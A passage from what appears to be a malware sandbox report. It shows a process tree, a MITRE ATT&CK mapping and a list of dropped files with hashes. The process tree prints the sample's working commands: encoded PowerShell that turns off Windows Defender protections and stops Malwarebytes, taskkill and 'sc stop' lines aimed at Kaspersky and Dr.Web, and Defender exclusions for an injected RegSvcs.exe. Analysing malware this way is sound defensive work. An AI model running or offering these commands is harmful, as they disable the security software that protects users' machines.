              powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAsACAAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIAAiAE0AQgBBAE0AVAByAGEAeQAiACwAIAAiAE0AQgBBAE0AVwBzAGMAIgAsACAAIgBtAGIAYQBtACIALAAgACIATQBCAEEATQBDAGgAYQBtAGUAbABlAG8AbgAiACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAHAAIABpAG4AIAAkAHAAcgBvAGMAZQBzAHMAZQBzACkAIAB7ACAACgAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ATgBhAG0AZQAgACQAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUAByAG8AYwBlAHMAcwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAACgB9AAoARwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUwBlAHIAdgBpAGMAZQAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoARwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAIgBNAEIAQQBNAEMAaABhAG0AZQBsAGUAbwBuACIAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAUwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4936
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMService.exe"
            3⤵
              PID:3468
              • C:\Windows\system32\taskkill.exe
                taskkill /f /im MBAMService.exe
                4⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1164
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "taskkill /f /im Malwarebytes.exe"
              3⤵
                PID:4500
                • C:\Windows\system32\taskkill.exe
                  taskkill /f /im Malwarebytes.exe
                  4⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3864
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMTray.exe"
                3⤵
                  PID:2744
                  • C:\Windows\system32\taskkill.exe
                    taskkill /f /im MBAMTray.exe
                    4⤵
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4904
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMWsc.exe"
                  3⤵
                    PID:1108
                    • C:\Windows\system32\taskkill.exe
                      taskkill /f /im MBAMWsc.exe
                      4⤵
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1196
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAM.exe"
                    3⤵
                      PID:4492
                      • C:\Windows\system32\taskkill.exe
                        taskkill /f /im MBAM.exe
                        4⤵
                        • Kills process with taskkill
                        • Suspicious use of AdjustPrivilegeToken
                        PID:944
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "taskkill /f /im mbam.exe"
                      3⤵
                        PID:2872
                        • C:\Windows\system32\taskkill.exe
                          taskkill /f /im mbam.exe
                          4⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:4912
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMChameleon.exe"
                        3⤵
                          PID:2248
                          • C:\Windows\system32\taskkill.exe
                            taskkill /f /im MBAMChameleon.exe
                            4⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:656
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAQgBlAGgAYQB2AGkAbwByAE0AbwBuAGkAdABvAHIAaQBuAGcAIAAkAHQAcgB1AGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEIAbABvAGMAawBBAHQARgBpAHIAcwB0AFMAZQBlAG4AIAAkAHQAcgB1AGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEkATwBBAFYAUAByAG8AdABlAGMAdABpAG8AbgAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAUAByAGkAdgBhAGMAeQBNAG8AZABlACAAJAB0AHIAdQBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwBpAGcAbgBhAHQAdQByAGUARABpAHMAYQBiAGwAZQBVAHAAZABhAHQAZQBPAG4AUwB0AGEAcgB0AHUAcABXAGkAdABoAG8AdQB0AEUAbgBnAGkAbgBlACAAJAB0AHIAdQBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBBAHIAYwBoAGkAdgBlAFMAYwBhAG4AbgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUASQBuAHQAcgB1AHMAaQBvAG4AUAByAGUAdgBlAG4AdABpAG8AbgBTAHkAcwB0AGUAbQAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAUwBjAHIAaQBwAHQAUwBjAGEAbgBuAGkAbgBnACAAJAB0AHIAdQBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAFAAVQBBAFAAcgBvAHQAZQBjAHQAaQBvAG4AIAAwACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA=="
                          3⤵
                            PID:1192
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAQgBlAGgAYQB2AGkAbwByAE0AbwBuAGkAdABvAHIAaQBuAGcAIAAkAHQAcgB1AGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEIAbABvAGMAawBBAHQARgBpAHIAcwB0AFMAZQBlAG4AIAAkAHQAcgB1AGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEkATwBBAFYAUAByAG8AdABlAGMAdABpAG8AbgAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAUAByAGkAdgBhAGMAeQBNAG8AZABlACAAJAB0AHIAdQBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwBpAGcAbgBhAHQAdQByAGUARABpAHMAYQBiAGwAZQBVAHAAZABhAHQAZQBPAG4AUwB0AGEAcgB0AHUAcABXAGkAdABoAG8AdQB0AEUAbgBnAGkAbgBlACAAJAB0AHIAdQBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBBAHIAYwBoAGkAdgBlAFMAYwBhAG4AbgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUASQBuAHQAcgB1AHMAaQBvAG4AUAByAGUAdgBlAG4AdABpAG8AbgBTAHkAcwB0AGUAbQAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAUwBjAHIAaQBwAHQAUwBjAGEAbgBuAGkAbgBnACAAJAB0AHIAdQBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAFAAVQBBAFAAcgBvAHQAZQBjAHQAaQBvAG4AIAAwACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA==
                              4⤵
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1276
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "sc stop "AVP""
                            3⤵
                              PID:3672
                              • C:\Windows\system32\sc.exe
                                sc stop "AVP"
                                4⤵
                                • Launches sc.exe
                                PID:4260
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "sc stop "AVPService""
                              3⤵
                                PID:2376
                                • C:\Windows\system32\sc.exe
                                  sc stop "AVPService"
                                  4⤵
                                  • Launches sc.exe
                                  PID:4244
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c "sc stop "KAV""
                                3⤵
                                  PID:3080
                                  • C:\Windows\system32\sc.exe
                                    sc stop "KAV"
                                    4⤵
                                    • Launches sc.exe
                                    PID:2204
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c "sc stop "KIS""
                                  3⤵
                                    PID:1008
                                    • C:\Windows\system32\sc.exe
                                      sc stop "KIS"
                                      4⤵
                                      • Launches sc.exe
                                      PID:2488
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "sc stop "KSC""
                                    3⤵
                                      PID:3508
                                      • C:\Windows\system32\sc.exe
                                        sc stop "KSC"
                                        4⤵
                                        • Launches sc.exe
                                        PID:4840
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "sc stop "Kaspersky""
                                      3⤵
                                        PID:4948
                                        • C:\Windows\system32\sc.exe
                                          sc stop "Kaspersky"
                                          4⤵
                                          • Launches sc.exe
                                          PID:3436
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c "taskkill /f /im avp.exe"
                                        3⤵
                                          PID:3492
                                          • C:\Windows\system32\taskkill.exe
                                            taskkill /f /im avp.exe
                                            4⤵
                                            • Kills process with taskkill
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:1260
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "taskkill /f /im kav.exe"
                                          3⤵
                                            PID:1220
                                            • C:\Windows\system32\taskkill.exe
                                              taskkill /f /im kav.exe
                                              4⤵
                                              • Kills process with taskkill
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:1944
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c "taskkill /f /im kis.exe"
                                            3⤵
                                              PID:4660
                                              • C:\Windows\system32\taskkill.exe
                                                taskkill /f /im kis.exe
                                                4⤵
                                                • Kills process with taskkill
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:3208
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c "taskkill /f /im ksc.exe"
                                              3⤵
                                                PID:3768
                                                • C:\Windows\system32\taskkill.exe
                                                  taskkill /f /im ksc.exe
                                                  4⤵
                                                  • Kills process with taskkill
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:3540
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "taskkill /f /im kaspersky.exe"
                                                3⤵
                                                  PID:4416
                                                  • C:\Windows\system32\taskkill.exe
                                                    taskkill /f /im kaspersky.exe
                                                    4⤵
                                                    • Kills process with taskkill
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    PID:3416
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c "sc stop "drweb""
                                                  3⤵
                                                    PID:2644
                                                    • C:\Windows\system32\sc.exe
                                                      sc stop "drweb"
                                                      4⤵
                                                      • Launches sc.exe
                                                      PID:4172
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c "sc stop "dwengine""
                                                    3⤵
                                                      PID:1652
                                                      • C:\Windows\system32\sc.exe
                                                        sc stop "dwengine"
                                                        4⤵
                                                        • Launches sc.exe
                                                        PID:2356
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c "sc stop "drwebservice""
                                                      3⤵
                                                        PID:1128
                                                        • C:\Windows\system32\sc.exe
                                                          sc stop "drwebservice"
                                                          4⤵
                                                          • Launches sc.exe
                                                          PID:4480
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c "taskkill /f /im drweb.exe"
                                                        3⤵
                                                          PID:2584
                                                          • C:\Windows\system32\taskkill.exe
                                                            taskkill /f /im drweb.exe
                                                            4⤵
                                                            • Kills process with taskkill
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:3036
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c "taskkill /f /im dwengine.exe"
                                                          3⤵
                                                            PID:3920
                                                            • C:\Windows\system32\taskkill.exe
                                                              taskkill /f /im dwengine.exe
                                                              4⤵
                                                              • Kills process with taskkill
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:3288
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c "taskkill /f /im drwebservice.exe"
                                                            3⤵
                                                              PID:3460
                                                              • C:\Windows\system32\taskkill.exe
                                                                taskkill /f /im drwebservice.exe
                                                                4⤵
                                                                • Kills process with taskkill
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:1276
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c "gpupdate /force"
                                                              3⤵
                                                                PID:4496
                                                                • C:\Windows\system32\gpupdate.exe
                                                                  gpupdate /force
                                                                  4⤵
                                                                    PID:984
                                                                • C:\Users\Admin\AppData\Local\Temp\_temp_lekut042\program1.exe
                                                                  "C:\Users\Admin\AppData\Local\Temp\_temp_lekut042\program1.exe"
                                                                  3⤵
                                                                  • Executes dropped EXE
                                                                  • Loads dropped DLL
                                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  PID:1560
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_temp_lekut042\program2.exe"
                                                                  3⤵
                                                                    PID:3516
                                                                    • C:\Users\Admin\AppData\Local\Temp\_temp_lekut042\program2.exe
                                                                      C:\Users\Admin\AppData\Local\Temp\_temp_lekut042\program2.exe
                                                                      4⤵
                                                                      • Executes dropped EXE
                                                                      • Suspicious use of SetThreadContext
                                                                      • System Location Discovery: System Language Discovery
                                                                      PID:3024
                                                                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                                                                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                                                                        5⤵
                                                                        • System Location Discovery: System Language Discovery
                                                                        • Suspicious behavior: AddClipboardFormatListener
                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        • Suspicious use of SetWindowsHookEx
                                                                        PID:1524
                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe'
                                                                          6⤵
                                                                          • Command and Scripting Interpreter: PowerShell
                                                                          • System Location Discovery: System Language Discovery
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:988
                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'RegSvcs.exe'
                                                                          6⤵
                                                                          • Command and Scripting Interpreter: PowerShell
                                                                          • System Location Discovery: System Language Discovery
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:3156
                                                              • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe
                                                                "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca
                                                                1⤵
                                                                • Modifies registry class
                                                                • Suspicious use of SetWindowsHookEx
                                                                PID:3368

                                                              Network

                                                                    MITRE ATT&CK Enterprise v16

                                                                    Reconnaissance

                                                                    Resource Development

                                                                    Initial Access

                                                                    Execution

                                                                    Command and Scripting Interpreter

                                                                    1
                                                                    T1059

                                                                    PowerShell

                                                                    1
                                                                    T1059.001

                                                                    System Services

                                                                    1
                                                                    T1569

                                                                    Service Execution

                                                                    1
                                                                    T1569.002

                                                                    Persistence

                                                                    Create or Modify System Process

                                                                    3
                                                                    T1543

                                                                    Windows Service

                                                                    3
                                                                    T1543.003

                                                                    Privilege Escalation

                                                                    Abuse Elevation Control Mechanism

                                                                    1
                                                                    T1548

                                                                    Bypass User Account Control

                                                                    1
                                                                    T1548.002

                                                                    Create or Modify System Process

                                                                    3
                                                                    T1543

                                                                    Windows Service

                                                                    3
                                                                    T1543.003

                                                                    Defense Evasion

                                                                    Abuse Elevation Control Mechanism

                                                                    1
                                                                    T1548

                                                                    Bypass User Account Control

                                                                    1
                                                                    T1548.002

                                                                    Impair Defenses

                                                                    4
                                                                    T1562

                                                                    Disable or Modify Tools

                                                                    3
                                                                    T1562.001

                                                                    Modify Registry

                                                                    4
                                                                    T1112

                                                                    Obfuscated Files or Information

                                                                    1
                                                                    T1027

                                                                    Command Obfuscation

                                                                    1
                                                                    T1027.010

                                                                    Credential Access

                                                                    Discovery

                                                                    System Information Discovery

                                                                    2
                                                                    T1082

                                                                    System Location Discovery

                                                                    1
                                                                    T1614

                                                                    System Language Discovery

                                                                    1
                                                                    T1614.001

                                                                    Lateral Movement

                                                                    Collection

                                                                    Command and Control

                                                                    Exfiltration

                                                                    Impact

                                                                    Service Stop

                                                                    1
                                                                    T1489

                                                                    Replay Monitor

                                                                    Loading Replay Monitor...

                                                                    Downloads

                                                                    SearchHoverUnifiedTileModelCache.dat
                                                                    • Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SearchHoverUnifiedTileModelCache.dat
                                                                    • Size 22KB
                                                                    • SHA256 1009564c367455ccd68664fbce7ef27d425eb44771e7da11e1a39d6f73925604
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    SearchHoverUnifiedTileModelCache.dat
                                                                    • Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SearchHoverUnifiedTileModelCache.dat
                                                                    • Size 22KB
                                                                    • SHA256 32deafc3ecef91a5dfb91cfb4f796bcd6dc04352479b2c540ee104ce7b2a5687
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    VCRUNTIME140.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI34482\VCRUNTIME140.dll
                                                                    • Size 117KB
                                                                    • SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    _bz2.pyd
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI34482\_bz2.pyd
                                                                    • Size 85KB
                                                                    • SHA256 d28c3dd1c22bfb8a6e8a6a9c2359842b797d08e878ecb7805f60e86a45589d11
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    _ctypes.pyd
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI34482\_ctypes.pyd
                                                                    • Size 139KB
                                                                    • SHA256 25d9b0be550d428fecc697ca20450343a7c3ce77c9f5283e9aecfd188d609250
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    _lzma.pyd
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI34482\_lzma.pyd
                                                                    • Size 157KB
                                                                    • SHA256 5f7003f9f0256e36351ca2810b3485db28579b08e4d1d65f6f211fcd1136f395
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    _zstd.pyd
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI34482\_zstd.pyd
                                                                    • Size 491KB
                                                                    • SHA256 262aea62a994920daf152a10bdc0ca83a8b1c0874e71db23734862431de182c6
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-core-console-l1-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI34482\api-ms-win-core-console-l1-1-0.dll
                                                                    • Size 22KB
                                                                    • SHA256 56a3c8ec50eedef1f5024696ef928cb2a0f5d8b40c8a122cba412944dae81c46
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-core-datetime-l1-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI34482\api-ms-win-core-datetime-l1-1-0.dll
                                                                    • Size 22KB
                                                                    • SHA256 e91b155e01b98aa4466b94da39e04c379f2fd392c154e7b6d80c05e0476f0552
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-core-debug-l1-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI34482\api-ms-win-core-debug-l1-1-0.dll
                                                                    • Size 22KB
                                                                    • SHA256 2117e4953f5ec36adff21a416db5ff5f9ff27ea5f70b71b2e7d87897979b34e1
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-core-errorhandling-l1-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI34482\api-ms-win-core-errorhandling-l1-1-0.dll
                                                                    • Size 22KB
                                                                    • SHA256 ce83855b81333be8ca07a70700bff553dfb94869637dfe529bc8ef64094032be
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-core-fibers-l1-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI34482\api-ms-win-core-fibers-l1-1-0.dll
                                                                    • Size 22KB
                                                                    • SHA256 5fae6d3fa0df3ac9a0171654062b6518b56bc586ab03d8a05e9cd4a112628934
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-core-file-l1-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI34482\api-ms-win-core-file-l1-1-0.dll
                                                                    • Size 26KB
                                                                    • SHA256 be54476a0d4394d8ca6a5943b6425569403a1a7e939cf9b4948319b450022b45
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-core-file-l1-2-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI34482\api-ms-win-core-file-l1-2-0.dll
                                                                    • Size 22KB
                                                                    • SHA256 87cd5dac0ad2c7f6d64a51c58bc6fb9f2b207fe4966dcf47dd83728b0e439a75
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-core-file-l2-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI34482\api-ms-win-core-file-l2-1-0.dll
                                                                    • Size 20KB
                                                                    • SHA256 f957a4c261506484b53534a9be8931c02ec1a349b3f431a858f8215cecfec3f7
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-core-handle-l1-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI34482\api-ms-win-core-handle-l1-1-0.dll
